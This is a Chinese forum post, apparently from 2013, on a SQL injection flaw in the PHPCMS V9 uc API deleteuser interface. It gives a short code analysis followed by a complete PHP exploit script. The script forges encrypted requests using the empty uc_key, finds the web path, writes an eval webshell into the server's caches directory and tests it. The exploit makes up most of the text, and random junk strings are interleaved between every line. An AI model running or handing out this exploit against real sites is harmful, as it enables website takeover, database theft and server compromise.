中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
. _+ f; l; d- k
* F& Z1 I& w4 K) V3 P' I3 K+ k
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
6 j8 M3 V7 z7 o2 v' H
9 W9 d9 q5 _2 N8 ?6 F) @0 o
漏洞分析:
) W( A8 m0 e- X5 p
1.未启用ucenter服务的情况下uc_key为空
# u B+ V8 q& a! b
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
' t5 ~; P( r2 Y1 d
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
- r; G @ S& m& s
public function deleteuser($get,$post) {
& U6 {2 t A" T4 X6 o! U
pc_base::load_app_func('global', 'admin');
% A0 k; Q. w2 m) y
pc_base::load_app_class('messagequeue', 'admin' , 0);
, u7 i. i) }# v2 ^' x/ Q# W
$ids = new_stripslashes($get['ids']);
. R1 [+ S5 [+ ^2 R" {
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
, m5 k; Q. l8 J/ t4 c9 T: v& T
SQL语句为
% x; a! C* t: b4 M
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
% Z, D9 l$ `* D2 q' _+ U+ n
& C; x) w }, o3 Y& }$ q
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
/ t1 ?0 V* X2 p) u. N) ]1 I, T
<?php
8 H5 y' f; L! J$ v6 _* k. d, K% Z
print_r('
( I, I- E6 N! e6 w, `8 X9 r+ u
---------------------------------------------------------------------------
* c- j4 w& t2 ~0 c2 n' G
PHPcms (v9 or Old Version) uc api sql injection 0day
8 t5 z+ Z1 W+ I
by rayh4c#80sec.com
& K8 Q8 L a/ ^& Q9 F6 Q+ ?4 R
---------------------------------------------------------------------------
+ r2 N" [" N+ M% s$ z2 X t: p! b
');
1 X$ {$ b2 U4 d" F) c+ _$ k6 J( w
* _: e) ?: w8 ^: U) _8 N
if ($argc<3) {
9 }) [; ~1 }1 M! V' A0 m$ m
print_r('
+ D$ d- e( S r
---------------------------------------------------------------------------
: B% O" g* Q1 b" p+ L
Usage: php '.$argv[0].' host path OPTIONS
0 c" ^# C% S$ Q$ d: H* h) z" X
host: target server (ip/hostname)
4 a1 G# w6 Y. @4 P4 i
path: path to phpcms
\) K" |# J: e1 c
Options:
& N0 M6 q- V8 r1 u7 [$ v
-p[port]: specify a port other than 80
" s( A- A$ x6 p2 }4 K
-P[ip:port]: specify a proxy
( _/ d( o6 y5 J7 L& S8 n
Example:
) ^. P! e2 |5 k$ P3 s( [" c& i# C6 H
php '.$argv[0].' localhost /
0 j5 ]% Y: x+ d. G' W. c
php '.$argv[0].' localhost /phpcms/ -p81
5 s* K- I! d# T$ u* l+ C$ b3 J5 A
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 _' _8 D' ?* G+ i% H
---------------------------------------------------------------------------
, g0 p% k) U" \5 R2 @
');
& \) r, o* h9 ?
die;
4 {4 c+ g7 c x3 d2 Q- ?+ v: v/ o3 g9 V
}
2 H7 t9 }5 c, K9 w( c
/ X! b0 I3 V" p. c; Q, e8 w7 J- M2 P
error_reporting(7);
- Y) N) d9 R8 ?/ U1 n+ T
ini_set("max_execution_time",0);
. B+ i; J1 c; M: c
ini_set("default_socket_timeout",5);
2 G6 N8 k& h4 f$ ^
* u- N/ N1 [; ], _3 y
function quick_dump($string)
! _# ?4 m& |) o# n: T* e: U
{
' E7 B2 S' M/ Q, N, f. c0 Y
$result='';$exa='';$cont=0;
" s) s M% I6 n: V" M- G! L9 e
for ($i=0; $i<=strlen($string)-1; $i++)
. U9 \9 S' i; [* i1 T
{
9 T0 P3 P+ b' k( ` V1 d0 [
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
5 o$ c/ W+ r/ i! T% E3 j' ~5 \. @4 m
{$result.=" .";}
' W* ] S8 c0 l/ G: {
else
' s8 B9 n) ]" Y/ @+ l
{$result.=" ".$string[$i];}
# [8 H# U" S: t3 E% \) n E* g
if (strlen(dechex(ord($string[$i])))==2)
, s5 L0 v* W" H$ b: [
{$exa.=" ".dechex(ord($string[$i]));}
2 A; l: J2 \) G$ }; A3 P
else
2 V# o) C& t; }2 R& [
{$exa.=" 0".dechex(ord($string[$i]));}
' Y+ _, _# l5 `1 k
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
1 h2 a) f4 `$ r1 Q$ o# y
}
9 X( p! U \& j3 B
return $exa."\r\n".$result;
3 o7 L: E$ {3 h! o) E9 C/ c5 E
}
: N, z# I( y0 X. y W. Z" v% M
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
. t/ _6 X- _: @: r
o3 M4 I4 K# E! L0 v
function send($packet)
9 ?( F6 F) h- l: H7 I7 ^8 r9 e) i
{
9 H c$ ~- D- o5 d7 i4 s
global $proxy, $host, $port, $html, $proxy_regex;
/ v& Z1 _ F' W3 _# z
if ($proxy=='') {
4 I9 T5 z& t# Q1 m- Q7 |
$ock=fsockopen(gethostbyname($host),$port);
7 |$ [- L7 S! @, P
if (!$ock) {
, D1 X& i( ^7 }8 s2 k
echo 'No response from '.$host.':'.$port; die;
$ `# c6 D. B% Q/ P3 ?
}
* g# `# }! }" g+ Z- r% p" P
}
7 U: s1 z2 O8 v0 p$ V4 y4 }
else {
8 @% B# l9 C5 j# n$ C" V. P
$c = preg_match($proxy_regex,$proxy);
. ?7 T# h( c& }- k
if (!$c) {
8 |$ h/ [: A7 O8 e
echo 'Not a valid proxy...';die;
! I7 [2 { Z1 T$ Q/ H
}
0 d( j; f1 `% \
$parts=explode(':',$proxy);
. a. ^- r3 |. V4 S0 d4 f0 v+ P
$parts[1]=(int)$parts[1];
: J2 N# e% I0 n; u. R' K
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
) |+ l. Y6 K, m3 ~( D7 }' h9 n0 ^
$ock=fsockopen($parts[0],$parts[1]);
$ B3 R- r1 X: a; {. x1 E+ I: w
if (!$ock) {
7 R: R- z' i* i8 r! ~( o+ _
echo 'No response from proxy...';die;
( Z- [: ]4 C6 m$ Q1 X
}
: Y+ |8 [7 Q* p0 @% ~8 {* o
}
) _0 s+ Y9 [. [) W* R, w
fputs($ock,$packet);
7 f$ q: M4 k% I) m+ ?$ U* W
if ($proxy=='') {
% M& ~( q; b ~% _' j1 f! S/ I1 B
$html='';
0 `0 i7 N/ ~; j
while (!feof($ock)) {
! t, S0 Q4 d9 z( G1 Y% E, Z" T5 ?
$html.=fgets($ock);
3 k+ K7 Y; B6 A7 V4 a8 v
}
) o1 A. G, Q8 P- S* ^$ c2 O
}
- k' t1 B# F. q$ j8 W* V d
else {
2 }" ?; K+ j' E
$html='';
8 _) N1 i" a# h }3 A9 w
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
9 o! l% t b# n8 ]7 z& p0 i' z! `) L
$html.=fread($ock,1);
+ L( F5 v! \( E% a1 a% a+ F
}
/ U0 y7 G2 S2 N
}
7 ~; B3 w) I: D1 T: A$ f, B3 c
fclose($ock);
( N6 g! e3 \, ]; {1 ?
}
- v. P, D* A# B/ p1 j% i. y) @1 c
5 M$ \, C# q ]6 m! K% p
$host=$argv[1];
2 g% `# `1 T$ e9 i7 [9 r
$path=$argv[2];
x: ^, \7 q j
$port=80;
9 c$ F4 V! P* m# L/ i$ `
$proxy="";
! k& [0 @1 l5 {" X; e: u8 Z5 @( X
for ($i=3; $i<$argc; $i++){
/ A8 x, J* ^2 _8 O% h+ a3 n* C
$temp=$argv[$i][0].$argv[$i][1];
; J( w( [ m5 J, i3 H
if ($temp=="-p")
9 O7 { Z+ D5 w8 X, [5 O/ e3 J2 G
{
2 r/ Q. \3 H7 m1 [' q
$port=(int)str_replace("-p","",$argv[$i]);
8 M, R( l5 [3 C
}
: K! Q& ]8 M. G' r3 c+ V4 H- B
if ($temp=="-P")
5 U$ i) ^' {: X I% s) n5 a
{
2 `1 h: Z Q! \4 {; {& c+ z, _) {
$proxy=str_replace("-P","",$argv[$i]);
( Y" h5 ?, I, n! r
}
2 i6 a( A& ~* j, ~8 W9 ^2 Z
}
, x U% |0 Z, r. z% ] [, m. w
2 S$ `1 f8 r9 j& l
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
J& i0 s: k0 @; N+ C, B, q
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
- S) o0 O4 P. ~ _: ~
# F. O4 c6 t. s$ p$ R c# l5 V
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
% w( O, i1 F8 f2 U) b
" M! i0 K7 L! M
$ckey_length = 4;
: Y7 n; y7 K" _6 o
$ U: s4 T1 T W
$key = md5($key ? $key : '');
* c' ?3 g9 _- o& q, s( \/ m- y
$keya = md5(substr($key, 0, 16));
1 D' d% K W" w1 a" I
$keyb = md5(substr($key, 16, 16));
~# b: n7 F6 F3 G5 P
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
- | h* B) t9 \( S; x
, b- g0 K3 @" j3 K$ S# u1 n* v
$cryptkey = $keya.md5($keya.$keyc);
1 U" f j) B9 t& u" x& Q% A
$key_length = strlen($cryptkey);
( l- g* r$ {" L3 a2 U7 y
' t8 n! _/ b0 u7 \
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
/ r/ R; u) {1 N0 V1 k
$string_length = strlen($string);
) t' X' r% h+ Q. n5 B' M# ?, K
( p% H1 v; a2 j9 |2 c0 ^
$result = '';
5 y* {1 l$ a/ ]2 y$ D# q* x" T
$box = range(0, 255);
/ x2 h. b- j/ [! ?+ o. @
' ]9 W/ i0 K. |! D$ Z
$rndkey = array();
% J3 d# R$ h0 K& _ [
for($i = 0; $i <= 255; $i++) {
& h+ |0 Q. u6 M" Z
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
7 Q$ J, n1 f9 U G* r: f
}
# |/ j3 Z4 b( m* c! n5 W
4 }, e; ~ I5 b0 s
for($j = $i = 0; $i < 256; $i++) {
7 x* o7 b$ x7 h
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
, X5 h6 C: |& Q, n5 G$ O1 K/ D
$tmp = $box[$i];
8 b# G7 V: i# |2 W7 H2 X
$box[$i] = $box[$j];
! o2 n0 R! e8 A* c( \
$box[$j] = $tmp;
0 K$ o2 f9 l- T: u+ M, U; C
}
. B2 l$ Y) E A4 L
; A* A6 v( G3 _1 `
for($a = $j = $i = 0; $i < $string_length; $i++) {
I2 E' D9 {* F B
$a = ($a + 1) % 256;
f; {, f# ]' x" Q M
$j = ($j + $box[$a]) % 256;
! D4 x0 R$ S* J+ v' o: ~7 y
$tmp = $box[$a];
{8 b( m7 m+ A! C
$box[$a] = $box[$j];
( m+ N4 D- c) y. \
$box[$j] = $tmp;
+ P; J' y) o2 F; a& [; c
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
8 Y" O7 \# X1 H1 ~' e
}
& L5 A% | J" A6 D) ] H
9 |/ B# T3 `& g" }
if($operation == 'DECODE') {
* t+ Y( h" t& M0 ?7 ?6 H7 z( N
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
4 G/ f- f; `5 l4 [6 H/ E6 ~ f9 D1 q
return substr($result, 26);
. J, c4 t# f* k& g8 p! z2 L
} else {
. Q2 P& W; F) Z# z: Y9 [0 |
return '';
( t- M: x, B" @9 M; l1 v, ~
}
+ |5 y0 L' B) D) C9 B
} else {
' o R* ?2 Q4 l, |' c& ?: D- b7 k$ |
return $keyc.str_replace('=', '', base64_encode($result));
1 |( B- D" e/ M! ~
}
$ }# v/ q) }8 N
/ c+ }) o, o: J
}
8 {9 K' y% G, b
5 ?7 F) w2 ^- {2 g, |1 a
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
6 y, b4 ~' }3 P3 w5 @% Y$ S
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
( q" L/ y! W! f5 ?4 t. H5 u, f5 s% M' n
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
0 ^1 s5 ?% [0 T* r$ X9 Q7 S) N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
" X/ Z8 k# g g! @8 N. \, D/ E
$packet.="User-Agent: Mozilla/5.0\r\n";
. A/ P8 T: n: K2 C" ?# J+ W2 ~( y
$packet.="Host: ".$host."\r\n";
% _3 T: k J1 G2 m7 _. g
$packet.="Connection: Close\r\n\r\n";
$ m$ l' A4 u3 E5 ?
send($packet);
$ E" G8 Q8 _; U. E9 I
if(strpos($html,"MySQL Errno") > 0){
* W g" o& W' i- ]2 r
echo "[2] 发现存在SQL注入漏洞"."\n";
0 ]7 r9 J* i6 b. W! D
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
. P# v6 u# V1 R) s
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 h# S2 k$ \. G1 B& P
$packet.="User-Agent: Mozilla/5.0\r\n";
2 ~0 o: I$ i) n/ A. U; C
$packet.="Host: ".$host."\r\n";
) W/ q0 `9 Y, k# D
$packet.="Connection: Close\r\n\r\n";
. p2 ]9 p" j) R9 [7 L. ^; x
send($packet);
, R% ^- e# j Q g( J: j
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
4 X' r. K" ~" x5 k7 H+ e# w- A
//print_r($matches);
4 D. ~# J3 J3 Y# k1 s
if(!empty($matches)){
' e+ Q6 e: x( A3 ^- v% y. S a6 P+ o
echo "[4] 得到web路径 " . $matches[0]."\n";
1 S) a0 a) R O9 O: a
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 h0 m% d; `: _$ |
$SQL = "time=999999999999999999999999&ids=1)";
5 D& m6 n2 ]7 Y9 v6 Q3 S$ p' q) U8 n
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
4 D2 A4 h9 f3 [: G
$SQL.="&action=deleteuser";
6 H4 W' U! |! {& e" \$ R4 C! C
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 I; z; @: ?1 G* H9 L. m
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 o- K4 T1 l4 h" d+ c+ v' U
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, v; @; m( \" z* w) [! I; K
$packet.="User-Agent: Mozilla/5.0\r\n";
' \* T' U0 F' s2 j9 s# ]
$packet.="Host: ".$host."\r\n";
# L0 ^ I5 j$ o w1 G
$packet.="Connection: Close\r\n\r\n";
; {; P: V1 |, W" h1 d0 H
send($packet);
, L }% Z* Q0 v( x
if(strpos($html,"Access denied") > 0){
0 w8 d. S' o$ f+ u$ h5 S
echo "[-] MYSQL权限过低 禁止写入文件
";
/ B# f, J; a" s1 `
die;
2 O' K& Z/ C: @. ^, e
}
/ t0 X- p* G) Z0 v* R
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
2 K6 k* r! ?" ]* |$ r- y& `
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
3 i2 D; W: J$ w1 p( o( @
$packet.="User-Agent: Mozilla/5.0\r\n";
7 [$ L2 i y& y" y7 j7 c' k
$packet.="Host: ".$host."\r\n";
: s. j. U4 c% {! v& p
$packet.="Connection: Close\r\n\r\n";
! H) L- L! a+ Q
send($packet);
7 j: i8 C# `: L& D% B
if(strpos($html,"<title>phpinfo()</title>") > 0){
" z1 e& U& |5 q3 D. T
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
& N9 \- P- V9 k8 l4 D4 u; u
}
, O4 n0 P7 S. D6 J Q+ [- m
}else{
# H8 r. j2 P2 N. M
echo "[-]未取到web路径
";
6 F8 k* o5 c5 @
}
b% T6 f. o1 L, I( b+ W& w
}else{
9 @0 ~. W$ b9 _- v# Y
echo "[*]不存在SQL注入漏洞"."\n";
5 i2 I+ L* k; G m' C6 _" S
}
: l: R# a; I2 `7 i# m( O
# e: Z. O- P) H
?>
! F1 \* |5 q4 t, u2 c: T: c
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2